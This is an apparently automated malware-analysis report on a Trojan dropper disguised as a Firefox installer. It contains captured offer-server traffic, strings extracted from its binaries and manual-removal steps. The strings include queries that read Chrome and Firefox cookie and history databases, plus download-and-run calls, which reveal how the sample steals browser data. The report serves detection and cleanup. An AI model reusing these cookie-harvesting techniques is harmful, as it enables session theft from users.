ue]);..                                            _gaq.push(['_trackP
ageview']);..                                            (function() {
..                                              var ga = document.crea
teElement('script'); ga.type = 'text/javascript'; ga.async = true;..  
                                            ga.src = ('https:' == docu
ment.location.protocol ? 'hXXps://' : 'hXXp://')   'stats.g.doubleclic
k.net/dc.js';..                                              var s = d
ocument.getElementsByTagName('script')[0]; s.parentNode.insertBefo<<< skipped >>>

GET //offers/DynamicOfferScreen?offerid=4&distid=18257&leadp=5187&countryid=262&sysbit=32&dfb=0&hb=2&isagg=0&version=4.4&external=0&external=0& HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: srv.serverdatasrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

Date: Fri, 11 Mar 2016 23:56:42 GMT

Server: Microsoft-IIS/8.0

X-AspNet-Version: 4.0.30319

X-AspNetMvc-Version: 4.0

X-Powered-By: ASP.NET

Content-Length: 7521

Connection: keep-alive
<html>.    <head>.      <title>4 - NonProduct (Insta
llation)</title><script type='text/javascript'>var _gaq = 
_gaq || [];_gaq.push(['_setAccount', 'UA-37348037-1']);_gaq.push(['_se
tDomainName', 'ppdownload.com']);_gaq.push(['_setAllowLinker', true]);
..                                            _gaq.push(['_trackPagevi
ew']);..                                            (function() {..   
                                           var ga = document.createEle
ment('script'); ga.type = 'text/javascript'; ga.async = true;..       
                                       ga.src = ('https:' == document.
location.protocol ? 'hXXps://' : 'hXXp://')   'stats.g.doubleclick.net
/dc.js';..                                              var s = docume
nt.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s)
;..                                            })();</script><
;style type='text/css'>body {..    width: 100%;..    height: 100%;.
.    margin: 0px;..    padding: 0px;..    font-size: font-family:helve
tica;..    font-size: 12px;..}...divLeadpName {..    border-bottom-sty
le: groove;..    border-bottom-width: thin;..    padding-left: 61px;..
    padding-top: 9px;..    font-size: font-family:helvetica;..    font
-style: italic;..    font-size: 25px;..    font-weight: bold;..    col
or: black;..    position: absolute;..    width: 100%;..    width: 94%;
..    ba;..}..#divAgreementLeadPWelcome {..    bottom: 46px;..    posi
tion: absolute;..    left: 187px;..    font-size: 10px;..}..#divTo<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

%original file name%.exe_668:

.text

`.rdata

@.data

.ndata

.rsrc

uDSSh

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

GetWindowsDirectoryA

KERNEL32.dll

ExitWindowsEx

USER32.dll

GDI32.dll

SHFileOperationA

ShellExecuteA

SHELL32.dll

RegEnumKeyA

RegCreateKeyExA

RegCloseKey

RegDeleteKeyA

RegOpenKeyExA

ADVAPI32.dll

COMCTL32.dll

ole32.dll

VERSION.dll

verifying installer: %d%%

hXXp://nsis.sf.net/NSIS_Error

... %d%%

~nsu.tmp

%u.%u%s%s

RegDeleteKeyExA

%s=%s

*?|<>/":

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\rd.exe /PID=1955 /SUBPID=0 /NETWORKID=1 /DISTID=18257 /CID=0 /PRODUCT_ID=5187 /SERVER_URL=`omn7).`ar\&b^rp_qrepdfah,`il /CLICKID= /D1=74240 /D2=-1 /D3=-1 /D4=-1 /D5=-1 /PRODUCT_PRIVACY= /PRODUCT_EULA= /PRODUCT_NAME= /EXE_URL= /EXE_CMDLINE= /HOST_BROWSER=2 /THANKYOU_URL=`omn7).swu)hjlraivjlm\\)gcq)okrr\d*kcacqacr)hci=f^<_4mi,2l76/`-aejeajsapmoef1(ik3j\g5rrgg427pcaim6bh3f.**/_722) \4c]7]9//[1[0.^2]95`/4/`#^<`ouidjZbfhek.aj

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\instructionsalgk4.exe->C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\rd.exe

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\rd.exe

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\instructionsalgk4.exe

1.2.2

Extract: %f

%u byte%c

(%u byte%c)

%d.%d%d Ë%c

inflate 1.2.2 Copyright 1995-2004 Mark Adler

GetProcessHeap

nsisunz.dll

operator

GetProcessWindowStation

portuguese-brazilian

Gg.uz

DSQl

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\rd.zip

tionsalgk4.dat

rd.zip

NSTRU~1.DAT

:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsj2.tmp

c:\%original file name%.exe

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp

%original file name%.exe

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsy1.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsj2.tmp

/PID=1955 /SUBPID=0 /NETWORKID=1 /DISTID=18257 /CID=0 /PRODUCT_ID=5187 /SERVER_URL=`omn7).`ar\&b^rp_qrepdfah,`il /CLICKID= /D1=74240 /D2=-1 /D3=-1 /D4=-1 /D5=-1 /PRODUCT_PRIVACY= /PRODUCT_EULA= /PRODUCT_NAME= /EXE_URL= /EXE_CMDLINE= /HOST_BROWSER=2 /THANKYOU_URL=`omn7).swu)hjlraivjlm\\)gcq)okrr\d*kcacqacr)hci=f^<_4mi,2l76/`-aejeajsapmoef1(ik3j\g5rrgg427pcaim6bh3f.**/_722) \4c]7]9//[1[0.^2]95`/4/`#^<`ouidjZbfhek.aj

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32"/><description>Nullsoft Install System v2.46</description><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="requireAdministrator" uiAccess="false"/></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/></application></compatibility></assembly>

WUSER32.DLL

Firefox

rd.exe_892:

.text

`.rdata

@.data

.rsrc

@.reloc

SSh,bJ

.CGy,

SShT&J

<9%u3

FTPj

YPSSSh

,4,56,789

xSSSh

FTPjKS

FtPj;S

C.PjRV

RegOpenKeyTransactedW

RegCreateKeyTransactedW

RegDeleteKeyTransactedW

RegDeleteKeyExW

%d/%d/%d %d:%d:%d

X:X:X:X:X:X

large file support is disabled

unknown operation

SQL logic error or missing database

foreign_keys

sqlite_compileoption_get

sqlite_compileoption_used

sqlite_log

sqlite_source_id

sqlite_version

sqlite_attach

sqlite_detach

sqlite_stat1

sqlite_rename_parent

sqlite_rename_trigger

sqlite_rename_table

GetProcessHeap

RowKey

3.7.16.2

SQLite format 3

CREATE TABLE sqlite_master(

sql text

CREATE TEMP TABLE sqlite_temp_master(

REINDEXEDESCAPEACHECKEYBEFOREIGNOREGEXPLAINSTEADDATABASELECTABLEFTHENDEFERRABLELSEXCEPTRANSACTIONATURALTERAISEXCLUSIVEXISTSAVEPOINTERSECTRIGGEREFERENCESCONSTRAINTOFFSETEMPORARYUNIQUERYATTACHAVINGROUPDATEBEGINNERELEASEBETWEENOTNULLIKECASCADELETECASECOLLATECREATECURRENT_DATEDETACHIMMEDIATEJOINSERTMATCHPLANALYZEPRAGMABORTVALUESVIRTUALIMITWHENWHERENAMEAFTEREPLACEANDEFAULTAUTOINCREMENTCASTCOLUMNCOMMITCONFLICTCROSSCURRENT_TIMESTAMPRIMARYDEFERREDISTINCTDROPFAILFROMFULLGLOBYIFISNULLORDERESTRICTOUTERIGHTROLLBACKROWUNIONUSINGVACUUMVIEWINITIALLY

922337203685477580

SQLITE_

?API call with %s database connection pointer

OsError 0x%x (%u)

os_win.c:%d: (%d) %s(%s) - %s

delayed %dms for lock/sharing conflict

%s\etilqs_

%s\%s

cannot limit WAL size: %s

2nd reference to page %d

invalid page number %d

%s(%d)

keyinfo(%d

%r %s BY term out of range - should be between 1 and %d

Expression tree is too large (maximum depth %d)

too many SQL variables

variable number must be between ?1 and ?%d

too many columns in %s

%s OR name=%Q

type='trigger' AND (%s)

table %s may not be altered

sqlite_

SELECT tbl,idx,stat FROM %Q.sqlite_stat1

access to %s.%s.%s is prohibited

access to %s.%s is prohibited

object name reserved for internal use: %s

duplicate column name: %s

too many columns on %s

DELETE FROM %Q.%s WHERE %s=%Q

sqlite_stat%d

unknown column "%s" in foreign key definition

number of columns in foreign key does not match the number of columns in the referenced table

foreign key on %s should reference only one column of table %T

a JOIN clause is required before %s

cannot modify %s because it is a view

table %s may not be modified

Cforeign key mismatch - "%w" referencing "%w"

error during initialization: %s

no entry point [%s] in shared library [%s]

unable to open shared library [%s]

sqlite3_extension_init

unknown or unsupported join type: %T %T%s%T

RIGHT and FULL OUTER JOINs are not currently supported

USE TEMP B-TREE FOR %s

COMPOUND SUBQUERIES %d AND %d %s(%s)

%s:%d

no such index: %s

SCAN TABLE %s %s%s(~%d rows)

UPDATE %Q.%s SET type='table', name=%Q, tbl_name=%Q, rootpage=0, sql=%Q WHERE rowid=#%d

sqlite_master

sqlite_temp_master

vtable constructor did not declare schema: %s

vtable constructor failed: %s

no such module: %s

table %s: xBestIndex returned an invalid plan

%s (~%lld rows)

%s VIRTUAL TABLE INDEX %d:%s

%s (rowid<?)

%s (rowid>?)

%s (rowid>? AND rowid<?)

%s (rowid=?)

%s USING INTEGER PRIMARY KEY

%s USING %s%sINDEX%s%s%s

%s AS %s

%s TABLE %s

%s SUBQUERY %d

database corruption at line %d of [%.10s]

misuse at line %d of [%.10s]

cannot open file at line %d of [%.10s]

failed to allocate %u bytes of memory

failed memory resize %u to %u bytes

foreign key constraint failed

unable to use function %s in the requested context

zeroblob(%d)

CREATE TABLE %Q.%s(%s)

%s %T cannot reference objects in database %s

default value of column [%s] is not constant

UPDATE %Q.%s SET rootpage=%d WHERE #%d AND rootpage=#%d

no such collation sequence: %s

%s - %s

malformed database schema (%s)

cannot join using column %s - column not present in both tables

cannot have both ON and USING clauses in the same join

a NATURAL join may not have an ON or USING clause

%s.%s

%s-shm

bind on a busy prepared statement: [%s]

%s: %s

%s: %s.%s

%s: %s.%s.%s

misuse of aliased aggregate %s

not authorized to use function: %s

too many terms in %s BY clause

EXECUTE %s%s SUBQUERY %d

%.*s"%w"%s

%s%.*s"%w"

UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q

Cannot add a PRIMARY KEY column

invalid name: "%s"

automatic extension loading failed: %s

d-d-d d:d:d

d:d:d

d-d-d

M@d

SELECTs to the left and right of %s do not have the same number of result columns

LIMIT clause should come after %s not before

ORDER BY clause should come after %s not before

BmTindexed columns are not unique

Recovered %d frames from WAL file %s

Bad ptr map entry key=%d expected=(%d,%d) got=(%d,%d)

Failed to read ptrmap key=%d

failed to get page %d

%d of %d pages missing from overflow list starting at %d

freelist leaf count too big on page %d

Fragmentation of %d bytes reported as %d on page %d

Multiple uses for byte %d of page %d

Corruption detected in cell %d on page %d

On page %d at right child:

On tree page %d cell %d:

btreeInitPage() returns error code %d

unable to get the page. error code=%d

Page %d:

Outstanding page count goes from %d to %d during this analysis

Pointer map page %d is referenced

Page %d is never used

sqlite3_get_table() called with two or more incompatible queries

no such vfs: %s

%s mode not allowed: %s

no such %s mode: %s

MJ delete: %s

-mjX9X

MJ collide: %s

%s-mjXXXXXX9XXz

database %s is locked

cannot detach database %s

no such database: %s

INSERT INTO %Q.%s VALUES('trigger',%Q,%Q,0,'CREATE TRIGGER %q')

unknown database: %s

unknown database %s

DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'

DELETE FROM %Q.sqlite_sequence WHERE name=%Q

PRIMARY KEY must be unique

constraint %s failed

%s.%s may not be NULL

database schema is locked: %s

INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sql FROM main.sqlite_master WHERE type='view' OR type='trigger' OR (type='table' AND rootpage=0)

SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';

SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0

SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %'

SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %'

SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND rootpage>0

PRAGMA vacuum_db.synchronous=OFF

cannot VACUUM - SQL statements in progress

misuse of aggregate: %s()

constraint failed at %d in [%s]

abort at %d in [%s]: %s

database table is locked: %s

cannot change %s wal mode from within a transaction

SELECT name, rootpage, sql FROM '%q'.%s WHERE %s ORDER BY rowid

cannot commit transaction - SQL statements in progress

cannot release savepoint - SQL statements in progress

no such savepoint: %s

cannot open savepoint - SQL statements in progress

statement aborts at %d: [%s] %s

cannot use index: %s

at most %d tables in a join

cannot open value of type %s

SELECT name, rootpage, sql FROM '%q'.%s ORDER BY rowid

unsupported file format

no such trigger: %S

unable to open database: %s

database %s is already in use

too many attached databases - max %d

sqlite_sequence

there is already an index named %s

DELETE FROM %Q.%s WHERE name=%Q AND type='index'

index associated with UNIQUE or PRIMARY KEY constraint cannot be dropped

no such index: %S

unable to identify the object to be reindexed

no such table: %s

%s.%s.%s

too many references to "%s": max 65535

sqlite_subquery_%p_

cannot create INSTEAD OF trigger on table: %S

cannot create %s trigger on view: %S

cannot open %s column for writing

no such column: "%s"

indexed

foreign key

cannot open view: %s

cannot open virtual table: %s

sqlite_altertab_%s

INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);

CREATE%s INDEX %.*s

table %s has no column named %s

sqlite_autoindex_%s_%d

index %s already exists

there is already a table named %s

virtual tables may not be indexed

views may not be indexed

table %s may not be indexed

AUTOINCREMENT is only allowed on an INTEGER PRIMARY KEY

table "%s" has more than one primary key

CREATE TABLE %Q.sqlite_sequence(name,seq)

UPDATE %Q.%s SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q WHERE rowid=#%d

CREATE %s %.*s

view %s is circularly defined

table %S has no column named %s

%d values for %d columns

table %S has %d columns but %d values were supplied

*** in database %s ***

unsupported encoding: %s

foreign_key_check

foreign_key_list

no such column: %s

there is already another table or index with this name: %s

UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;

UPDATE "%w".sqlite_sequence set name = %Q WHERE name = %Q

UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d 18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');

UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;

view %s may not be altered

-- TRIGGER %s

use DROP VIEW to delete view %s

use DROP TABLE to delete table %s

table %s may not be dropped

sqlite_stat

the NOT INDEXED clause is not allowed on UPDATE or DELETE statements within triggers

the INDEXED BY clause is not allowed on UPDATE or DELETE statements within triggers

Error %d has occurred.

Error %u in WinHttpReadData.

Error %u in WinHttpQueryDataAvailable.

F%D,3

Visual C   CRT: Not enough memory to complete call to strerror.

portuguese-brazilian

Broken pipe

Inappropriate I/O control operation

Operation not permitted

operator

GetProcessWindowStation

WinHttpCloseHandle

WinHttpReadData

WinHttpQueryDataAvailable

WinHttpReceiveResponse

WinHttpSendRequest

WinHttpOpenRequest

WinHttpConnect

WinHttpCrackUrl

WinHttpSetTimeouts

WinHttpOpen

WINHTTP.dll

PSAPI.DLL

KERNEL32.dll

EnumChildWindows

CreateDialogIndirectParamW

USER32.dll

GDI32.dll

RegOpenKeyExW

RegCreateKeyExW

RegDeleteKeyW

RegCloseKey

RegQueryInfoKeyW

RegEnumKeyExW

ADVAPI32.dll

ShellExecuteW

SHELL32.dll

ole32.dll

OLEAUT32.dll

URLDownloadToFileW

urlmon.dll

IPHLPAPI.DLL

GetCPInfo

.?AV?$CAtlExeModuleT@VCSmartInstallerModule@@@ATL@@

.?AVCWebPage@@

zcÁ

{A0386B19-B7E7-4BE7-B567-ABF77CBB6E60} = s `ATLExeServer'

`ATLExeServer.EXE'

val AppID = s {A0386B19-B7E7-4BE7-B567-ABF77CBB6E60}

ForceRemove {FA20B59B-21AA-44FC-8A68-450979B7CC90} = s 'CBrowserExternals Class'

val ServerExecutable = s '%MODULE_RAW%'

TypeLib = s '{03771AEF-400D-4A13-B712-25878EC4A3F5}'

ForceRemove {622D38AD-B4A9-4170-8192-5B865C6A5DCE} = s 'CBrowserExternalImp Class'

ForceRemove {6D4506CE-F855-4657-AA38-DB6B1F733982} = s 'CBrowserExternal Class'

stdole2.tlbWWW

~cmdWd

OpenUrlW

urlWd

method OpenUrl

Created by MIDL version 7.00.0555 at Wed Jul 09 20:02:58 2014

llo%srt

<BUTTON onclick='window.external.OnClick(theBody, "red");'>Red</BUTTON>

<BUTTON onclick='window.external.OnClick(theBody, "green");'>Green</BUTTON>

<BUTTON onclick='window.external.OnClick(theBody, "blue");'>Blue</BUTTON>

<requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel>

5~6!7$8*8

6m6

7'8 8/83878;8?8

9&989`9~9

4 4D4[4

: :':,:::

=6=[=~= >

296@6,737

5 5$5(54585

4 4$4(4,40444

5 5$5(5,5054585<5@5

3 3$3(3,3034383

Advapi32.dll

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

THANKYOU_URL

EXE_CMDLINE

EXE_URL

SERVER_URL

execmdline

exeurl

\Microsoft\Windows\Cookies

cookies.sqlite

sqlite

\Mozilla\Firefox\Profiles

Found cookie in Chrome!

SELECT value,last_access_utc FROM cookies WHERE host_key LIKE '%

\..\Local Settings\Application Data\Google\Chrome\User Data\Default\

\..\Local\Google\Chrome\User Data\Default\

Chrome_WidgetWin_1

Exception opening/reading chrome cookies

Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.142 Safari/535.19

OLEACC.DLL

SELECT url FROM moz_places WHERE url LIKE '%

places.sqlite

\PreExe_ID_

\default.html

Safari.exe

Opera.exe

firefox

chrome

http\shell\open\command

Opera.HTML

IE.AssocFile.HTM

FirefoxHTML

ChromeHTML

Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.html\UserChoice

Software\Mozilla\Mozilla FireFox

SOFTWARE\Mozilla\Mozilla FireFox

SOFTWARE\Google\Update\Clients\{8A69D345-D564-463c-AFF1-A69D9E530F96}

virtualoffercmd

\PostCheck.exe

opera

&chromev=

CHROMEVERSION

@@exeurl

AntivirusesRegKeys

RegKey64

RegKey32

PostExe

PreExe

ReportName

RegKey

ExeURL2

ExeURL

OfferURL

I{A33DE4AA-9646-4E33-9E44-E472C6312E2F}

OLEAUT32.DLL

Mscoree.dll

888816666554443

6666554443

!6666554443

virtualoffercmd:

/REPORTURL=

_2nd.exe

mscoree.dll

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

KKERNEL32.DLL

WUSER32.DLL

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\rd.exe

{8856F961-340A-11D0-A96B-00C04FD705A2}

Firefox.exe_684:

`.rsrc

GetWindowsDirectoryA

_acmdln

ShellExecuteExA

.text

`.rdata

@.data

.rsrc

.yO LChd

Res.VirtumA

.rdat

.rsrcW

2"&,\45>

*.**)

.uy}"

<assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="7zS.sfx.exe" type="win32"/>

<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*"/>

<requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"/>

<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>

<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>

KERNEL32.DLL

COMCTL32.dll

MSVCRT.dll

OLEAUT32.dll

SHELL32.dll

USER32.dll

AUnsupported Method

Sapphelp.dll

oleacc.dll

uxtheme.dll

SHCore.dll

cryptbase.dll

dwmapi.dll

kernel32.dll

Can not find setup.exe

setup.exe

Setup Error.Microsoft Windows XP SP2 or newer is required.

Mozilla

Firefox

7zS.sfx

7zS.sfx.exe

Firefox.exe_684_rwx_00401000_00020000:

GetWindowsDirectoryA

_acmdln

ShellExecuteExA

.text

`.rdata

@.data

.rsrc

AUnsupported Method

Sapphelp.dll

oleacc.dll

uxtheme.dll

SHCore.dll

cryptbase.dll

dwmapi.dll

kernel32.dll

Can not find setup.exe

setup.exe

Setup Error.Microsoft Windows XP SP2 or newer is required.

setup-stub.exe_760:

.text

`.rdata

@.data

.ndata

.rsrc

RegDeleteKeyExW

Kernel32.DLL

PSAPI.DLL

%s=%s

GetWindowsDirectoryW

KERNEL32.dll

ExitWindowsEx

USER32.dll

GDI32.dll

SHFileOperationW

ShellExecuteW

SHELL32.dll

RegDeleteKeyW

RegCloseKey

RegEnumKeyW

RegOpenKeyExW

RegCreateKeyExW

ADVAPI32.dll

COMCTL32.dll

ole32.dll

VERSION.dll

@.reloc

GetProcessHeap

COMDLG32.dll

nsDialogs.dll

AppAssocReg.dll

0 1)1/1^1

.reloc

WINTRUST.dll

CertGetNameStringW

CryptMsgClose

CertCloseStore

CertFreeCertificateContext

CertFindCertificateInStore

CryptMsgGetParam

CRYPT32.dll

CertCheck.dll

VerifyCertNameIssuer

VerifyCertTrust

ShellLink.dll

GetShortCutHotkey

SetShortCutHotkey

HttpQueryInfoW

InternetOpenUrlW

InternetCrackUrlW

WININET.dll

GetCPInfo

InetBgDL.dll

2"&,\45>

*.**)

.uy}"

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32"/><description>Nullsoft Install System v2.46-Unicode</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"/></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/></application></compatibility></assembly>

verifying installer: %d%%

... %d%%

hXXp://nsis.sf.net/NSIS_Error

~nsu.tmp

%u.%u%s%s

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

*?|<>/":

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsl5.tmp\nsDialogs.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsl5.tmp\nsDialogs.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsl5.tmp

All Files|*.*

InetBgDl: failed with ec=%u

InetBgDl: InternetOpenUrl failed with gle=%u

InetBgDl: only http and https is supported, aborting...

InetBgDl: InternetCrackUrl false with url=%s, gle=%u

InetBgDl: InternetOpen failed with gle=%u

InetBgDl: TaskThreadProc completed %s, ec=%u

InetBgDl: downloaded file size of %d bytes doesn't equal expected file size of %d bytes

InetBgDl: InternetReadFile true with 0 cbio, cbThisFile=%d, gle=%u

InetBgDl: InternetReadFile failed, gle=%u

InetBgDl: InternetSetOption failed to set read buffer size to %u bytes (using default read buffer size), gle=%u

InetBgDl: InternetSetOption failed to set read buffer size to %u bytes, gle=%u

InetBgDl: file size=%d bytes

InetBgDl: calling InternetOpenUrl with url=%s

InetBgDl: scheme_id=%d, hostname=%s, port=%d, urlpath=%s, extrainfo=%s

NSIS InetBgDL (Mozilla)

Firefox Setup

nsl5.tmp

\LOCALS~1\Temp\nsl5.tmp

2030371340

Firefox

ozilla Firefox

ftware\Mozilla\Mozilla Firefox

re\Mozilla\Mozilla Firefox

5.tmp\ignored.ini

.\setup-stub.exe

%Program Files%\Mozilla Firefox\

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\7zS3.tmp

setup-stub.exe

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsv4.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\7zS3.tmp\setup-stub.exe

-1207303088

1141506709

554304454

%Program Files%\Mozilla Firefox

4806068690786

83951616

-2063532032

-2147284440

Mozilla Firefox

Mozilla Corporation

Firefox Stub Installer

Firefox is a Trademark of The Mozilla Foundation.

iexplore.exe_2272:

%?9-*09,*19}*09

.text

`.data

.rsrc

msvcrt.dll

KERNEL32.dll

NTDLL.DLL

USER32.dll

SHLWAPI.dll

SHDOCVW.dll

Software\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess

IE-X-X

rsabase.dll

System\CurrentControlSet\Control\Windows

dw15 -x -s %u

watson.microsoft.com

IEWatsonURL

%s -h %u

iedw.exe

Iexplore.XPExceptionFilter

jscript.DLL

mshtml.dll

mlang.dll

urlmon.dll

wininet.dll

shdocvw.DLL

browseui.DLL

comctl32.DLL

IEXPLORE.EXE

iexplore.pdb

ADVAPI32.dll

MsgWaitForMultipleObjects

IExplorer.EXE

IIIIIB(II<.Fg

7?_____ZZSSH%

)z.UUUUUUUU

,....Qym

````2```

{.QLQIIIKGKGKGKGKGKG

;33;33;0

browseui.dll

shdocvw.dll

6.00.2900.5512 (xpsp.080413-2105)

Windows

Operating System

6.00.2900.5512

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):

%original file name%.exe:668
wmic.exe:1276
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:

%Documents and Settings%\%current user%\Local Settings\Temp\nsj2.tmp\Convert.dll (4597 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\instructionsalgk4.exe (398737 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsj2.tmp\nsisunz.dll (211 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\rd.zip (57028 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\instructionsalgk4.dat (8368 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl5.tmp\appname.bmp (12 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl5.tmp\bgplain.bmp (12280 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl5.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl5.tmp\clock.bmp (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl5.tmp\pencil.bmp (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl5.tmp\nsDialogs.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl5.tmp\particles.bmp (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl5.tmp\bgintro.bmp (12280 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\91457740423.txt (238 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\7zS3.tmp\setup-stub.exe (13454 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\914577404230\Firefox.exe (20169 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8TQZ0HUV\jquery.min[1].js (1188 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KP6VKDEZ\DynamicOfferScreen[1].htm (1140 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KP6VKDEZ\ui-bg_inset-hard_100_fcfdfd_1x100[1].png (88 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\RZ4ACECK\DynamicOfferScreen[1].htm (959 bytes)
